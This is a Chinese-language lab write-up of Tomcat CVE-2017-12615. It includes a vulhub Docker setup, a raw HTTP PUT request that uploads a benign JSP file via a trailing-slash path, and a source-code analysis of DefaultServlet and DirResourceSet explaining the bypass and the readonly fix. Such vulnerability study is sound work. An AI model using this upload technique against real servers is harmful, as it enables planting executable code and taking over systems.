0x00 环境搭建
直接 Docker 搭建即可
git clone https://github.com/vulhub/vulhub.git
cd /vulhub/tomcat/CVE-2017-12615
sudo docker-compose build
sudo docker-compose up -d
0x01 漏洞复现
直接使用 PUT 发起请求就可以上传任意文件,比如向 /teamssix.jsp/ 发起请求
PUT /teamssix.jsp/ HTTP/1.1
Host: 172.16.214.20:8080
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 26
<%out.print("TeamsSix");%>
HTTP/1.1 201
Content-Length: 0
Date: Wed, 15 Dec 2021 07:19:29 GMT
Connection: close
服务端返回 201 说明创建成功,访问 /teamssix.jsp 可以看到文件成功被上传
GET /teamssix.jsp HTTP/1.1
Host: 172.16.214.20:8080
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
HTTP/1.1 200
Set-Cookie: JSESSIONID=128419889W27F6C930EF27082B98D9FD; Path=/; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 8
Date: Wed, 15 Dec 2021 07:19:35 GMT
Connection: close
TeamsSix
0x02 漏洞分析
Tomcat 在处理时有两个默认的 Servlet,分别为 DefaultServlet 和 JspServlet,具体配置如下:
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>
<load-on-startup>1</load-on-startup>
</servlet>
……
<servlet>
<servlet-name>jsp</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
<init-param>
<param-name>fork</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>xpoweredBy</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>3</load-on-startup>
</servlet>
……
<!-- The mapping for the default servlet -->
<servlet-mapping>
<servlet-name>default</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<!-- The mappings for the JSP servlet -->
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspx</url-pattern>
</servlet-mapping>
从配置文件里可以看到对于后缀为 .jsp 和 .jspx 的请求由 JspServlet 处理,而其他的请求则由 DefaultServlet 处理。
所以当请求 /teamssix.jsp 时将会由 JspServlet 处理,无法触发漏洞;而请求 /teamssix.jsp/ 将绕过这个限制,交由 DefaultServlet 处理,这时就可以触发漏洞了。
要想实现一个 Servlet,就需要继承 HTTPServlet,找到 HTTPServlet 文件为 /tomcat/lib/servlet-api.jar!/javax/servlet/http/HttpServlet.class
在 HTTPServlet 中找到 doPut 方法,然后找到 DefaultServlet 里重写的 doPut 方法路径为tomcat/lib/catalina.jar!/org/apache/catalina/servlets/DefaultServlet.class
查看 DefaultServlet 的 doPut 方法
protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
if (this.readOnly) {
resp.sendError(403);
} else {
String path = this.getRelativePath(req);
WebResource resource = this.resources.getResource(path);
DefaultServlet.Range range = this.parseContentRange(req, resp);
Object resourceInputStream = null;
try {
if (range != null) {
File contentFile = this.executePartialPut(req, range, path);
resourceInputStream = new FileInputStream(contentFile);
} else {
resourceInputStream = req.getInputStream();
}
if (this.resources.write(path, (InputStream)resourceInputStream, true)) {
if (resource.exists()) {
resp.setStatus(204);
} else {
resp.setStatus(201);
}
} else {
resp.sendError(409);
}
} finally {
if (resourceInputStream != null) {
try {
((InputStream)resourceInputStream).close();
} catch (IOException var13) {
}
}
}
}
}
从上面代码的第 2 行可以看到首先判断 readOnly 是否为真,如果为真则返回 403,因此可以直接把 web.xml 里的 DefaultServlet 的 readonly 由原来的 false 改为 true 就能防御这个漏洞了。
继续回到 DefaultServlet.class 里,在 DefaultServlet.class 里可以看到有个 write 函数,通过这个 write 函数代码跟踪到 tomcat/lib/catalina.jar!/org/apache/catalina/webresources/DirResourceSet.class 里的 write 函数
public boolean write(String path, InputStream is, boolean overwrite) {
this.checkPath(path);
if (is == null) {
throw new NullPointerException(sm.getString("dirResourceSet.writeNpe"));
} else if (this.isReadOnly()) {
return false;
} else {
File dest = null;
String webAppMount = this.getWebAppMount();
if (path.startsWith(webAppMount)) {
dest = this.file(path.substring(webAppMount.length()), false);
if (dest == null) {
return false;
} else if (dest.exists() && !overwrite) {
return false;
} else {
try {
if (overwrite) {
Files.copy(is, dest.toPath(), new CopyOption[]{StandardCopyOption.REPLACE_EXISTING});
} else {
Files.copy(is, dest.toPath(), new CopyOption[0]);
}
return true;
} catch (IOException var7) {
return false;
}
}
} else {
return false;
}
}
}
在执行到dest = this.file(path.substring(webAppMount.length()), false);
时,path 会作为参数传入,执行 file 方法,file 方法部分代码如下
protected final File file(String name, boolean mustExist) {
if (name.equals("/")) {
name = "";
}
File file = new File(this.fileBase, name);
在执行到 File file = new File(this.fileBase, name);
时,会实例化一个 File 对象,fileBase 是 Web 应用所在的绝对路径。
这里的 name 就是传入的文件名,比如 /teamssix.jsp/,在 File 实例化的过程中会处理掉 /,因此 /teamssix.jsp/ 会变成 /teamssix.jsp
所以通过 PUT 请求,利用 /teamssix.jsp/ 可以达到任意文件上传的目的。
参考文章:
原文链接: